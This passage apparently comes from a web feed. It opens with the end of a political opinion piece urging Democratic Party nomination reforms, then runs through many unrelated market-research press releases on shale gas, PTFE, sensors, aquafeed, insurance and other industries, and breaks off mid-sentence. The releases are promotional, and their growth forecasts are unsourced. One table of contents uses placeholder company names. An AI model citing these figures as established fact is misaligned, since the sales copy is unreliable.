So let's play this out and let the people who haven't voted yet express their preference. Then let's go to the convention and fight it out on the platform, the rules, and the leadership of the party. This process is not just about nominating a candidate. This is also an opportunity to influence the direction of the Democratic Party.

Here are some ideas that will help further our cause in the future:

Eliminate superdelegates. Let the people decide the nominee. The days of deals in the back rooms by party leaders should end.

Stop stacking southern states at the beginning of the process. Let's not let one state or region have more influence than any other state -- which means ending the practice of Iowa and New Hampshire going first.

One person, one vote. Let's have primaries in every state. The best-case scenario is to have the national popular vote decide the nominee. Delegates should only be elected to pass a party platform and other business matters. Let the people choose the nominee in 100% open primaries with same-day registration.

Those are just a few reforms on how the party would choose the nominee.

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Shale Gas Market Size, Segmentation To 2020: Grand View Research, Inc.

http://www.grandviewresearch.com/industry-analysis/shale-gas-industry

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The global shale gas market is expected to reach USD 67.02 billion by 2020, according to a new study by Grand View Research, Inc. Depleting conventional energy reserves across the globe has prompted the industry to shift focus towards developing alternative energy sources which is expected to remain a key driving factor for shale gas demand over the next six years. In addition, regulatory support for developing unconventional gases including shale gas is also expected to enhance commercialization over the forecast period. However, environmental concern, especially excessive usage and contamination of water during shale gas production process is expected to be a key challenge for industry participants over the next six years.Browse full research report on Global Shale Gas Market:Power generation emerged as the leading application market for shale gas and accounted for 30.4% of total market volume in 2013. Environmental concerns regarding power generation via conventional energy coupled with regulatory support for development of unconventional energy sourcesfor power generation is expected to remain a key driving factor over the forecast period. However, transportation is expected to be the fastest growing application market for shale gas at an estimated CAGR of 10.8% from 2014 to 2020. Growing demand for alternative fuels such as compressed natural gas (CNG) and autogas (LPG) is expected to drive the demand for shale gas in transportation industry over the next six years.Further Key findings from the study suggest: The global shale gas production was 10,826.6 bcf in 2013 and is expected to reach 18,211.3 bcf by 2020, growing at a CAGR of 8.3% from 2014 to 2020. U.S emerged as the leading shale gas producing country and accounted for 91.8% of total market volume in 2013. The U.S. shale boom has changed the overall energy scenario of the nation, prior to shale gas development; the U.S. was a net importer of natural gas. However, due to rapid exploration and production activities of shale gas, U.S. for the first time in many years emerged as a net exporter of natural gas in 2012. However, Asia Pacific is expected to be the fastest growing producer for shale gas at an estimated CAGR of 66.7% from 2015 to 2020. The Chinese government has also been providing substantial support in form of financial incentives and tax benefits to companies operating in shale gas market in China which is expected to drive the market over the forecast period. The global market for shale gas is highly competitive in nature and is led by top multinational oil & gas conglomerates which are present across the value chain. Conventional oil & gas companies coupled with companies focusing only on alternative energy forms the mix of the market. Shift in focus towards developing shale gas basins in China is expected to remain a key strategy for the market participants. Some of the leading companies in the global shale gas market include Anadarko Petroleum Corporation, Antero Resources, BHP Billiton, Cabot Oil & Gas, Chesapeake Energy Corporation, Devon Energy, Encana Corporation, Exxon Mobil Corporation, Reliance Industries Limited, Royal Dutch Shell, SM Energy, Statoil, Talisman Energy Inc. and Total SA among some other companies.For the purpose of this study, Grand View Research has segmented the global shale gas market on the basis of application and region: Global Shale Gas Application Outlook (Volume, Bcf; Revenue, USD billion) Industrial Power Generation Residential Commercial Transportation Shale Gas Regional Outlook North America U.S. Canada Asia PacificGrand View Research, Inc. is a U.S. based market research and consulting company, registered in the State of California and headquartered in San Francisco. The company provides syndicated research reports, customized research reports, and consulting services. To help clients make informed business decisions, we offer market intelligence studies ensuring relevant and fact-based research across a range of industries, from technology to chemicals, materials and healthcare.Sherry JamesCorporate Sales Specialist, USAGrand View Research, IncWeb:
Global Medical Electronics Market 2016 Size, Shares, Outlook, Strategy, and Forecasts, 2016 to 2021

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The 'Global and Chinese Medical Electronics Market, 2011-2021 Market Research Report' is a professional and in-depth study on the current state of the global Medical Electronics industry with a focus on the Chinese market. The report provides key statistics on the market status of the Medical Electronics manufacturers and is a valuable source of guidance and direction for companies and individuals interested in the industry.Get Free Sample Report of Medical Electronics Market:Firstly, the report provides a basic overview of the industry including its definition, applications and manufacturing technology. Then, the report explores the international and Chinese major industry players in detail. In this part, the report presents the company profile, product specifications, capacity, production value, and 2011-2016 market shares for each company. Through the statistical analysis, the report depicts the global and Chinese total market of Medical Electronics industry including capacity, production, production value, cost/profit, supply/demand and Chinese import/export. The total market is further divided by company, by country, and by application/type for the competitive landscape analysis.The report then estimates 2016-2021 market development trends of Medical Electronics industry. Analysis of upstream raw materials, downstream demand, and current market dynamics is also carried out. In the end, the report makes some important proposals for a new project of Medical Electronics Industry before evaluating its feasibility. Overall, the report provides an in-depth insight of 2011-2021 global and Chinese Medical Electronics industry covering all important parameters.Get Full Table Of Content (Index) Of Medical Electronics Market:Table Of Content Of Medical Electronics Market:Chapter One Introduction of Medical Electronics Industry1.1 Brief Introduction of Medical Electronics1.2 Development of Medical Electronics Industry1.3 Status of Medical Electronics IndustryChapter Two Manufacturing Technology of Medical Electronics2.1 Development of Medical Electronics Manufacturing Technology2.2 Analysis of Medical Electronics Manufacturing Technology2.3 Trends of Medical Electronics Manufacturing TechnologyChapter Three Analysis of Global Key Manufacturers3.1 Company A3.1.1 Company Profile3.1.2 Product Information3.1.3 2011-2016 Production Information3.1.4 Contact Information3.2 Company B3.2.1 Company Profile3.2.2 Product Information3.2.3 2011-2016 Production Information3.2.4 Contact Information3.3 Company C3.2.1 Company Profile3.3.2 Product Information3.3.3 2011-2016 Production Information3.3.4 Contact Information3.4 Company D3.4.1 Company Profile3.4.2 Product Information3.4.3 2011-2016 Production Information3.4.4 Contact Information3.5 Company E3.5.1 Company Profile3.5.2 Product Information3.5.3 2011-2016 Production Information3.5.4 Contact Information3.6 Company F3.6.1 Company Profile3.6.2 Product Information3.5.3 2011-2016 Production Information3.6.4 Contact Information3.7 Company G3.7.1 Company Profile3.7.2 Product Information3.7.3 2011-2016 Production Information3.7.4 Contact Information3.8 Company H3.8.1 Company Profile3.8.2 Product Information3.8.3 2011-2016 Production Information3.8.4 Contact InformationIntense Research provides a range of marketing and business research solutions designed for our clients specific needs based on our expert resources. The business scopes of Intense Research cover more than 30 industries includsing energy, new materials, transportation, daily consumer goods, chemicals, etc. We provide our clients with one-stop solution for all the research requirements.Joel John3422 SW 15 Street, Suit #8138,Deerfield Beach, Florida 33442,United StatesTel: +1-386-310-3803GMT Tel: +49-322 210 92714USA/Canada Toll Free No. 1-855-465-4651Email: sales@intenseresearch.comWeb:
Polytetrafluoroethylene (PTFE) Market Trends, Company Share To 2020: Grand View Research, Inc.

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Global PTFE sales were estimated at USD 3,465.0 million in 2012, and are expected to reach USD 6,440.0 million by 2020, growing at a CAGR of 8.1% from 2013 to 2020, according to new Market Research Report recently published by Grand View Research, which also estimates global PTFE consumption to reach 524.1 kilo tons by 2020.The growing market for non-stick cookware, which uses PTFE, widely in Duponts Teflon form is expected to continue to be a stable growth avenue for market participants. Additionally, a surge in coating demand for wires and cables and the global trend in automotive weight reduction is also expected to provide multiple growth avenues to the PTFE industry. Volatile fluorspar supply and environmental concerns regarding Perfluorooctanoic acid (PFOA) content are expected to be roadblocks for PTFE manufacturers over the next six years.Browse full research report on Global Polytetrafluoroethylene (PTFE) Market:Further Key findings from the study suggest: Granular PTFE dominated the product market, accounting for over 32% of global volumes in 2012, sales were strongest in Asia Pacific, with consumption expected to reach 67.2 kilo tons in 2020, growing at a CAGR of over 10% from 2013 to 2020 Powdered PTFE, both in micro-powder and fine-powder form accounted for over 43% of global volumes in 2012. Powdered PTFE is commonly used in aerospace, automotive, wire coatings and textile membranes Automotive applications, majorly in equipment manufacturing, dominated PTFE demand in 2012, accounting for close to 28% of global volumes in 2012. Asia Pacific PTFE sales for automotive equipments are expected to reach USD 614.4 million by 2020, growing at a CAGR of over 8% from 2013 to 2020 Industrial and electronic applications together accounted for over 48% of global PTFE volumes in 2012 Asia Pacific is expected to maintain market dominant position, and is expected to account for over 37% of global PTFE consumption by 2020. North America PTFE demand was estimated to be 76.8 kilo tons in 2012 and is expected to reach 155.7 kilo tons by 2020, growing at a CAGR of 9.3% from 2013 to 2020 The global market is highly concentrated, with top four participants accounting for over 65% of total sales in 2012. DuPont, Daikin, Solvay, 3M and Arkema are key participants in the PTFE industry, accounting for over 70% of the global production capacity in 2012The global PTFE market has been broken down in to the following segments:# PTFE Application Outlook- Industrial Processing- Electronics- Automotive & Transportation- Others (Cookware, Construction, Textiles etc.)# PTFE Product Outlook- Granular- Micro-powder- Fine-powder- Others (Dispersion, Liquid, etc.)# PTFE Regional Outlook- North America- Europe- Asia Pacific- RoWGrand View Research, Inc. is a U.S. based market research and consulting company, registered in the State of California and headquartered in San Francisco. The company provides syndicated research reports, customized research reports, and consulting services. To help clients make informed business decisions, we offer market intelligence studies ensuring relevant and fact-based research across a range of industries, from technology to chemicals, materials and healthcare.Sherry JamesCorporate Sales Specialist, USAGrand View Research, IncWeb:
Global and China Flow Cytometers Market 2016: Segment, Trends, Growth, Demand, Developments and Forecast Report 2021

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Global and China Flow Cytometers Market 2016-2021 Market Research ReportThe report on the Global and China Flow Cytometers Market 2016 Industry meticulously addresses the various drivers, restraints, and opportunities that exist in this space. Compiled by a team of expert analysts, the report offers an overview of the all the key performance indicators of the Global and China Flow Cytometers Market 2016 Industry.The study analyzes the Global and China Flow Cytometers Market 2016 Industry in terms of revenue and volume, where applicable.Complete report With TOC available:All internal and external factors influencing the growth trajectory of the Global and China Flow Cytometers Market 2016 Industry are taken into account. With a firm focus on the companies that compete for a share of revenues within the Global and China Flow Cytometers Market 2016 Industry, the report is a valuable resource that supports competition mapping and strategy development.Besides the drivers and restraints that will be conspicuous by their presence over the next few years, the Global and China Flow Cytometers Market 2016 Industry report also conducts a detailed analysis of the trends and opportunities that currently prevail. The report doesnt stop at listing the various opportunitiesit also picks out threats, growth pockets as well as white spaces that exist therein.Get Sample:Furthermore, the report takes into consideration all the major stakeholders in the Global and China Flow Cytometers Market 2016 Industry and analyzes their standing in the grander picture over the forecast period. For instance, it strives to offer an understanding of the bargaining power of buyers based on the degree of competition as well as the availability of options in the Global and China Flow Cytometers Market 2016 Industry.MRS Research group provides a range of marketing and business research solutions designed for our clients specific needs based on our expert resources. The business scopes of Prof Research cover more than 30 industries including energy, new materials, transportation, daily consumer goods, chemicals, etc. We provide our clients with one-stop solution for all the research requirements.3422 SW 15 Street,Suit #8138,Deerfield Beach,Florida 33442
Report Explores the Global Automotive Relay Market 2016 : Industry Segmentation and Analysis to 2020

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Research report on Global Automotive Relay Industry 2016 Size, Share, Trends, Growth, Demand, Supply, Application, Segmentation, Opportunity, Market Development, production, capacity utilization, supply, Analysis and Forecast by 2020The report offers a holistic overview of the Automotive Relay Market with the help of application segments and geographical regions that govern the market currently. Further, the report delves deep into the value chain of the Automotive Relay market so as to emerge with information specific areas that hold high revenue-generating potential. With the Automotive Relay market having undergone certain inherent shifts in the past decades, the report discusses how these changes will impact the future.Moreover, the report also provides a realistic picture of the state of both traditional and emerging markets. The advantages and disadvantages of investing in these markets are discussed at length in the Automotive Relay market report. Companies in the Automotive Relay market have realized that innovation is of utmost importance for sustained growth. In keeping with this pressing need for innovation, the report tracks latest developments and analysts have dedicated substantial efforts toward spotting new business opportunities.Enquiry about Report:Which application segments will perform well in the Automotive Relay over the next few years? Which are the markets where companies should establish a presence? What are the restraints that will threaten growth rate? What are the forecasted growth rates for the Automotive Relay market as a whole and for each segment within it? All of these questions are answered using industry-leading techniques and tools as well as a vast amount of qualitative research.The report further focuses on the leading industry players that will steer the course of the Automotive Relay market through the forecast period. Each of these players is analyzed in detail so as to obtain details pertaining to their product/services, recent announcements and partnerships, investment strategies and so on.Request for Sample:A detailed segmentation evaluation of the Automotive Relay market has been provided in the report. Detailed information about the key segments of the market and their growth prospects are available in the report. The detailed analysis of their sub-segments is also available in the report. The revenue forecasts and volume shares along with market estimates are available in the report.9D Research Group is a single destination for all the industry, company and country reports. We feature large repository of latest industry reports, leading and niche company profiles, and market statistics released by reputed private publishers and public organizations.9D Research Group3422 SW 15 Street, Suit #8138,Deerfield Beach, Florida 33442,United StatesTel: +1-386-310-3803GMT Tel: +49-322 210 92714USA/Canada Toll Free No. 1-855-465-4651Email: sales@9dresearchgroup.comWeb:
Aquafeed Market : Global Industry Size, Growth, Share, Trends, Outlook and Forecast 2015-2022  Brisk Insights

http://www.briskinsights.com/report/aquafeed-market-forecast-2015-2022

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According to a recently published report, the Global Aquafeed Market is expected to grow at the CAGR of 12.1% from 2015 to 2022 and by consumption value and expected to reach $170.33 billion by 2022 with global aquaculture (Aquafeed) additive market is expected to reach $1.28 billion by 2022. The Global Aquafeed market is segmented into micro-markets, based on the share of each additive (by product,), animal species (by application), and by geographical region. The report on Global Aquafeed market forecast 2015-2022 provides detailed overview and predictive analysis of the market.Browse Full Report with Toc :The global aquafeed market is increasing with factors such as growth of the global aquaculture industry and growing demand for fish for human consumption is anticipated to drive demand for fed fish species, which in turn is expected to push forward aquafeed market growth over the forecast period. In the past decade there is growing expectation for aquaculture to meet the shortfall of aquatic products and to cater to the growing demand of the increasing population. This industry is driven by the increase in the fish meat consumption which is due to the boom in the world population. China is responsible for most of the growth that is happening in the Asia-Pacific region. There is a clear trend towards the development and implementation of safety and quality standards. Growing demand for fish and fish oil products owing to rising consumer awareness regarding the health benefits of omega 3 is further expected to expand aquaculture activities, consequently fuelling the demand for aquafeed. Several factors such as high raw material cost and widespread occurrence of diseases in Aquaculture Industry are impeding the market growth of aquafeed.On the basis of segment the carp is the largest segment of the market, accounting for over 26% of global aquafeed demand presently. In addition, demand for aquafeed in carps is expected to be the highest over the forecast period. Carps are rich in omega-3 fatty acids and offer high sources of protein that are low in fat.Browse here for all category Reports :The key players in the Global Aquafeed Market include Alltech Inc, Biomar A/S, Cargill Inc., Aller Aqua A/S, Cermaq ASA, Archer Daniel Midland (ADM), BASF SE, Biomin Holding GmbH, Skretting, EWOS, De Heus and Nutriad International.SCOPE OF THE REPORT1. Global Aquafeed market by products 2012-2022 ($ BILLION)1.1. Amino acids1.2. Antibiotics1.3. Vitamins1.4. Feed acidifiers1.5. Others2. Global Aquafeed market by material 2012-2022 ($ BILLION)2.1. Carp2.2. Mollusks2.3. Salmon2.4. Crustaceans2.5. Tilapia2.6. Catfish2.7. Others3. Global Aquafeed market, regional outlook 2012-2022 ($ BILLION)3.1. North America3.2. Europe3.3. Asia Pacific3.4. Middle East & Africa3.5. Central & South America4. Competitive Landscape4.1. Addcon Group GmbH4.2. Aller Aqua A/S4.3. Alltech Inc.4.4. Archer Daniel Midland (ADM)4.5. Avanti Feeds Ltd.4.6. BASF SE4.7. Beneo GmbH4.8. Biomar A/S4.9. Cargill4.10. Cermaq ASA4.11. DSM4.12. De Heus4.13. Dibaq a.s.4.14. Evonik Industries4.15. InVivo NSA4.16. Norel Animal Nutrition4.17. Novus International Inc.4.18. Nutriad International4.19. Ridley Corporation4.20. SkrettingContact Us :Jennifer SmithOffice 1094109 Vernon HouseFriar LaneNottinghamNG1 6DQPhone : +448081890034 (UK)About Us :Brisk Insights is a global market research firm. Our insightful analysis is focused on developed and emerging markets. We identify trends and forecast markets with a view to aid businesses identify market opportunities optimize strategies.Working in a highly dynamic and multi-dimensional business makes decision making complex. Effective business decisions are a result of the synthesis of market information. Our Research and data analysis is an efficient and cost-effective way of providing robust market analysis and can yield highly valuable intelligence relating to consumers, competitors and markets.Office 1094109 Vernon HouseFriar LaneNottingham
Global MEMS Magnetic Sensors Market 2016 Industry Share, Review, Trends, Growth & Analysis 2024

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A market study based on the "MEMS Magnetic Sensors Market" across the globe, recently added to the repository of QY Market research, is titled Global MEMS Magnetic Sensors Market 2016. The research report analyzes the historical as well as present performance of the global MEMS Magnetic Sensors market, and makes predictions on the future status of MEMS Magnetic Sensors market on the basis of this analysis.The report studies the market for MEMS Magnetic Sensors across the globe taking the existing industry chain, the import and export statistics in MEMS Magnetic Sensors market & dynamics of demand and supply of MEMS Magnetic Sensors into consideration.Request For Report Sample Here :The 'MEMS Magnetic Sensors' research study covers each and every aspect of the MEMS Magnetic Sensors market globally, which starts from the definition of the MEMS Magnetic Sensors market and develops towards MEMS Magnetic Sensors market segmentations. Further, every segment of the MEMS Magnetic Sensors market is classified and analyzed on the basis of product types, application, and the end-use industries of the MEMS Magnetic Sensors market. The geographical segmentation of the MEMS Magnetic Sensors market has also been covered at length in this report.The competitive landscape of the global market for MEMS Magnetic Sensors is determined by evaluating the various market participants, production capacity, MEMS Magnetic Sensors market's production chain, and the revenue generated by each manufacturer in the MEMS Magnetic Sensors market worldwide.Do Enquiry Before Purchasing Here :The global MEMS Magnetic Sensors market 2016 is also analyzed on the basis of product pricing, MEMS Magnetic Sensors production volume, data regarding demand and MEMS Magnetic Sensors supply, and the revenue garnered by the product. Various methodical tools such as investment returns, feasibility, and market attractiveness analysis has been used in the research to present a comprehensive study of the market for MEMS Magnetic Sensors across the globe.About Us:QY Market Research is a single destination for all the industry, company and country reports. We feature large repository of latest industry reports, leading and niche company profiles, and market statistics released by reputed private publishers and public organizations.Contact Us:Joel JohnDeerfield Beach, Florida 33442United StatesToll Free: +1-855-465-4651 (USA-CANADA)Tel: +1-386-310-3803Web: QY Market ResearchEmail: sales@qymarketresearch.com
Automotive Sensors Market : Research Report, Industry Outlook and Emerging Trends and Forecast 2022

http://www.briskinsights.com/report/automotive-sensors-market

http://www.briskinsights.com/category/automotive-industry

According to a recently published report, the Global Automotive Sensors Market expected to grow at the CAGR of 9.1% during 2015-2022 and it estimated to be $36.25 billion by 2022. The global automotive sensors market is segmented on the basis of product, industry applications and geography. The report on Global Automotive Sensors Market Forecast 2015-2022 provides detailed overview and predictive analysis of the market.The global automotive sensors market is expected to grow exponentially due to various factors such as increasing demand of vehicles especially motor cars around the world. The increasing demand for hybrid and electric vehicles with growing consumer demand for fuel-efficiency and comfort, in addition to factors such as strengthening government rules for vehicle safety is driving the market for automotive sensors worldwide. The shift towards self-driving cars could significantly boost the automotive sensor market as more intelligent data processing devices are required to make autonomous decisions which leads to development of automotive sensors market. Due to advancement in automobile technology, vehicles are increasingly being equipped with numerous sensing devices that provide information on different parameters ensuring comfort, safety, and security.Browse Here For Full Report With ToC :The automotive sensors are one of the fastest growing sectors in automotive industry with growth rate in near double digit; especially in OEM (original equipment manufacturing). Europe (European Union) is presently the leading market of automobile sensors, due to the exponential growth in the logistics industry, with increasing information about safety, and setup of Low Emission Zones (LEZs) in European Union. These factors are fueling the demand for HEVs which is also boosting demand of automotive sensors in this region. Companies based in Europe and US (For example: Bosch, Emerson Electric) have spent significant revenue on R&D for new development of new products for automobiles makers.The leading players with significant hold over the Global Automotive sensors market include players such as: Bosch, Denso Corporation, Sensata, Freescale Semiconductor, Agilent Technologies, Ford Corporation, Honeywell, Johnson Controls, Emerson Electric, General Electric, AMETEK Inc Honeywell, Analog Devices, and Delphi Automotive. The Bosch and Denso Corporation currently dominates the overall Automotive sensor market with share of over 24% in 2015.Click Here For Same Category Reports :Scope of the reportGlobal automotive sensors market by types 20152022 ($ billion)1. Pressure Sensor2. Temperature Sensor3. Gas Sensor4. Motion Sensor5. MEMS Sensor6. NOX sensors7. Speed Sensors8. Inertial Sensors9. Magnetic10. OthersGlobal automotive sensors market by application 2015-2022 ($ billion)1. Powertrain market2. Body Electronics Others3. Vehicle Security system4. Safety and Controls5. Telematics6. Chassis7. OtherGlobal automotive sensors market regional outlook 2015-2022 ($ billion)1. North America2. Europe3. Asia-Pacific4. Middle East & Africa5. Central & South AmericaCompetitive Landscape1. Bosch,2. Denso Corporation,3. Sensata,4. Freescale Semiconductor,5. Agilent Technologies,6. Ford Corporation,7. General Electric,8. AMETEK Inc Honeywell,9. Analog Devices,10. Delphi Automotive11. Ashcroft Holdings12. Autoliv Inc.13. Banner Engineering14. Cherry Corporation15. Miranda Technologies, Inc.16. Eaton Corporation17. Emerson18. Goodrich Corporation19. Johnson Controls20. HoneywellContact Us :Jennifer SmithOffice 1094109 Vernon HouseFriar LanenottinghamNG1 6DQPhone : +448081890034 (UK)About Us :Brisk Insights is a global market research firm. Our insightful analysis is focused on developed and emerging markets. We identify trends and forecast markets with a view to aid businesses identify market opportunities optimize strategies.Working in a highly dynamic and multi-dimensional business makes decision making complex. Effective business decisions are a result of the synthesis of market information. Our Research and data analysis is an efficient and cost-effective way of providing robust market analysis and can yield highly valuable intelligence relating to consumers, competitors and markets.Office 1094109 Vernon HouseFriar LaneNottingham
Non-Life Insurance In Egypt, Key Trends And Opportunities To 2019

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"The Report 'Non-Life Insurance in Egypt, Key Trends and Opportunities to 2019 provides information on pricing, market analysis, shares, forecast, and company profiles for key industry participants. - MarketResearchReports.biz"DescriptionSynopsisTimetrics 'Non-Life Insurance in Egypt, Key Trends and Opportunities to 2019' report provides a detailed outlook by product category for the Egyptian non-life insurance segment, and a comparison of the Egyptian insurance industry with its regional counterparts.It provides values for key performance indicators such as written premium, incurred loss, loss ratio, commissions and expenses, combined ratio, total assets, total investment income and retentions during the review period (20102014) and forecast period (20142019).The report also analyzes distribution channels operating in the segment, gives a comprehensive overview of the Egyptian economy and demographics, explains the various types of natural hazard and their impact on the Egyptian insurance industry, and provides detailed information on the competitive landscape in the country.The report brings together Timetrics research, modeling and analysis expertise, giving insurers access to information on segment dynamics and competitive advantages, and profiles of insurers operating in the country. The report also includes details of insurance regulations, and recent changes in the regulatory structure.SummaryTimetrics 'Non-Life Insurance in Egypt, Key Trends and Opportunities to 2019' report provides in-depth market analysis, information and insights into the Egyptian non-life insurance segment, including:The Egyptian non-life insurance segments detailed outlook by product categoryA comprehensive overview of the Egyptian economy and demographicsA comparison of the Egyptian insurance industry with its regional counterpartsDetailed analysis of natural hazards and their impact on the Egyptian insurance industryDetails of the competitive landscape in the life insurance segment in EgyptDetails of regulatory policy applicable to the Egyptian insurance industryDownload Detail Report With Complete TOC at:ScopeThis report provides a comprehensive analysis of the non-life insurance segment in Egypt:It provides historical values for the Egyptian non-life insurance segment for the reports 20102014 review period, and projected figures for the 20142019 forecast period.It offers a detailed analysis of the key categories in the Egyptian non-life insurance segment, and market forecasts to 2019.It profiles the top non-life insurance companies in Egypt, and outlines the key regulations affecting them.Reasons To BuyMake strategic business decisions using in-depth historic and forecast market data related to the Egyptian non-life insurance segment, and each category within it.Understand the demand-side dynamics, key market trends and growth opportunities in the Egyptian non-life insurance segment.Assess the competitive dynamics in the non-life insurance segment.Identify growth opportunities and market dynamics in key product categories.Gain insights into key regulations governing the Egyptian insurance industry, and their impact on companies and the industry's future.Key HighlightsThe non-life segment was the largest segment in the Egyptian insurance industry, accounting for 45.3% of the industrys total gross written premiums in 2014.The Egyptian construction industry is expected to continue to grow, supported by investments from the government and the private sector.Egypt also received support from the World Bank through the International Finance Corporation (IFC), which plans to invest in the country over 20152019 to improve the countrys infrastructure and energy markets.Most liability insurance products are compulsory in nature and differ by region. However, a lack of centralized legislation for liability insurance makes it an underutilized category, yet to be explored in the Egyptian non-life segment.The country faces a substantial threat of terrorism, with militant groups such as Islamic State of Iraq and Syria (ISIS) causing devastation across Egypt, restricting tourist inflows in the country.Browse all latest Press Releases of Market Research Reportsat:About usMarketResearchReports.biz is the most comprehensive collection of market research reports.MarketResearchReports.Biz services are specially designed to save time and money for our clients.We are a one stop solution for all your research needs, our main offerings are syndicated researchreports, custom research, subscription access and consulting services. We serve all sizes and typesof companies spanning across various industries.ContactMr. Nachiket90 Sate Street,Suite 700 Albany,NY 12207 USATel: +1-518-621-2074Canada Toll Free: 866-997-4948Website:E: sales@marketresearchreports.biz
Ferrochromium Market : Global Industry Analysis and Forecast 2016 - 2022

http://www.persistencemarketresearch.com/samples/10046

http://www.persistencemarketresearch.com/toc/10046

http://www.persistencemarketresearch.com

Ferrochromium, also known as Ferrochrome, is an alloy of iron and chromium containing 50 to 70% of chromium. It is produced by electric arc melting of chromium ore and chromite. Ferrochromium is consumed extensively in the manufacturing of steel to achieve the qualities such as corrosion resistance, tensile strength, heat resistance and yield strength. The global ferrochromium market is anticipated to be in deficit to cater the increasing global steel market in near future. Ferrochromium is mostly produced in India, China, South Africa and Kazakhstan because of large chromite resources found in these countries. The global ferrochromium market is witnessing a modest single digit CAGR growth up till now and is expected to continue in future.Ferrochromium is having its maximum share of consumption in steel industry and due to the ever increasing construction and demand of steel the global ferrochromium market is forecasted to flourish. In order to get a continuous supply of raw material for ferrochrome, China has established its operations in the countries like Turkey, South Africa, Philippines and Zimbabwe which would boost the global ferrochromium market in future. Due to the favourable conditions like lower electricity price and lower labour cost in upcoming markets like China, the production cost reduces comparatively. This will boost the production of ferrochrome to suffice its increasing demand and will contribute in global ferrochromium market.Interested in report: Please follow the below links to meet your requirements;Request for the Report Brochure:The global ferrochromium market can get hampered because of the increase in the export tax and fixed export quotas imposed by South Africa on chrome ore, owing to the concern of losing ferrochromium market to China. South Africa is having a significant market share in global ferrochromium market but there are concerns of power supply and higher production cost which would lead to the closure of small competitors and is estimated to slowdown the global ferrochromium market.Request TOC (table of content), Figures and Tables of the Report:Based on the carbon percentage, the global ferrochromium market is segmented as -Extra low carbon ferrochromium powderLow carbon ferrochromium powderHigh carbon ferrochromium powderExtra high carbon ferrochromium powderBased in the available form, the global ferrochromium market is segmented as Ferrochromium slagFerrochromium powderBased on the application, the global ferrochromium market is segmented as Ball bearing steelsAcid resistant steelsCast ironsPowder metallurgyOthers (civil engineering, refractory materials)The global ferrochromium market can be divided into five regions, namely North America, Latin America, Europe, Asia Pacific, and Middle East and Africa. Asia Pacific is having the maximum market share in global ferrochromium market, China and India are the countries having an excellent steel market, so these countries are significant in the consumption of ferrochrome. China is expanding its capacity to import chrome ore for the production of ferrochrome from the countries like South Africa, Turkey, Zimbabwe. Middle East and Africa are also marking a significant growth in the global ferrochromium market, Especially South Africa is having plenty of chromite resources for the production of ferrochrome. Europe is an emerging market in the field of ferrochrome and is anticipated to have a considerable market in future due to the flourishing automobile sector in the region. North America and Latin America is at a nascent stage in the global ferrochromium market.Some of the key players in global ferrochromium market are, Nava Bharat Ventures Limited, VISA STEEL, Balasore Alloys Limited, Aarti Steels Ltd, SR Group, Vyankatesh Metals & Alloys Pvt. LtdThe report covers exhaustive analysis on:Ferrochromium Market SegmentsFerrochromium Market DynamicsHistorical Actual Market Size, 2012 - 2014Ferrochromium Market Size & Forecast 2015 to 2025Supply & Demand Value ChainFerrochromium Market Current Trends/Issues/ChallengesCompetition & Companies involvedTechnologyValue ChainFerrochromium Market Drivers and RestraintsRegional analysis for Ferrochromium Market includesNorth AmericaLatin AmericaEuropeAsia Pacific & JapanThe Middle East and AfricaReport Highlights:Shifting Industry dynamicsIn-depth market segmentationHistorical, current and projected industry size Recent industry trendsKey Competition landscapeStrategies of key players and product offeringsPotential and niche segments/regions exhibiting promising growthA neutral perspective towards market performanceAbout UsPersistence Market Research (PMR) is a full-service market intelligence firm specializing in syndicated research, custom research, and consulting services. PMR boasts market research expertise across the Healthcare, Chemicals and Materials, Technology and Media, Energy and Mining, Food and Beverages, Semiconductor and Electronics, Consumer Goods, and Shipping and Transportation industries. The company draws from its multi-disciplinary capabilities and high-pedigree team of analysts to share data that precisely corresponds to clients business needs.PMR stands committed to bringing more accuracy and speed to clients business decisions. From ready-to-purchase market research reports to customized research solutions, PMRs engagement models are highly flexible without compromising on its deep-seated research values.ContactPersistence Market Research305 Broadway7th Floor, New York City,NY 10007, United StatesUSA - Canada Toll Free: +1 800-961-0353Email: sales@persistencemarketresearch.comWeb:
Racist City Employees Are on Notice, and 9 Other Greater Cincinnati News Stories You May Have Missed This Week

Catch up on local government, politics, sports, celeb sightings and Halloween fun.
ASEAN Hard Luxury Goods Market to register a healthy CAGR for the forecast period, 2014-2020

http://www.futuremarketinsights.com/reports/sample/rep-as-106

http://www.futuremarketinsights.com/toc/rep-as-106

http://www.futuremarketinsights.com/reports/asean-luxury-goods-market

Future Market Insights has announced the addition of the Hard Luxury Goods Market: ASEAN Industry Analysis and Opportunity Assessment 2014 - 2020" report to their offering.Luxury goods comprises of products such as accessories, footwear, apparel, watches and others which are quite expensive and target those consumers who belongs to premium class. The market for luxury goods consist of three types of end consumers, which includes kids lying between the age of 0-12 years, teenagers belonging to the age group of 13 to 19 years and the rest lies in adult group. Luxury goods market can also be segmented on the basis of application which includes soft luxury goods and hard luxury goods. Soft luxury goods includes designer apparel and leather goods such as hand bags and others, which is easily available for the customers in the hypermarket stores or directly operative outlet. Whereas hard luxury goods comprises of jewellery and premium watches. The hard luxury goods are offered to the consumers through premium class outlets, stores or sell out through internet.Thus the market for hard luxury product is also segmented on the basis of mode of distribution channel used for offering products to the consumers. The mode of Distribution channel is segmented into retail outlets, sell out through internet, companys brand outlet and others. Among all these distribution channel online retailing is expected to be most preferred mode for distribution in the forecasted period. This is due to consumer convenience preferences and availability of the products at lower price. Furthermore, the second most preferred mode is expected to be the companys brand retail outlets as they provide better offerings at less price.Request Free Report Sample@Globally, the demand of hard luxury goods are showing robust annual growth of 10% to 12%.North America and Europe is the highest contributor in the market share of hard luxury goods market. Increasing demand of accessories coupled with rising middle class disposable income has supported the growth of emerging markets in Asia-Pacific. It is expected to account for the fastest CAGR growth as compared to other regions. Among all the countries in Asia Pacific China is expected to be the most lucrative market followed by Japan. India is also expected to show a healthy growth in the forecasted period by registering a single digit CAGR growth. Whereas in ASEAN region Singapore is expected to be the most dominant market. The rising growth for hard luxury goods in Singapore is supported by the new entrants of jewellery brands and rising sales of watches. Rapid urbanization coupled with increasing disposable income in Thailand and Malaysia is predicted to boost the customer base and prominent contributor in the revenue of hard luxury good market in ASEAN region followed by Indonesia and Philippines.Request For TOC@Expanding middle class income group coupled with the urge of consumers for premium class products are the key drivers for the market growth of hard luxury goods in ASEAN region. Moreover, wide varieties of product offerings in each segments and continuous innovation and product launch is also expected to influence the consumers of ASEAN region to fuel the market growth of hard luxury goods in the forecasted period.However, the market of hard luxury goods in ASEAN region possess some restraining factors. This includes the weak distribution channel and limited availability of the products. Furthermore, the consumers perceives these products as quite expensive and also it is considered as a premium class product and not an 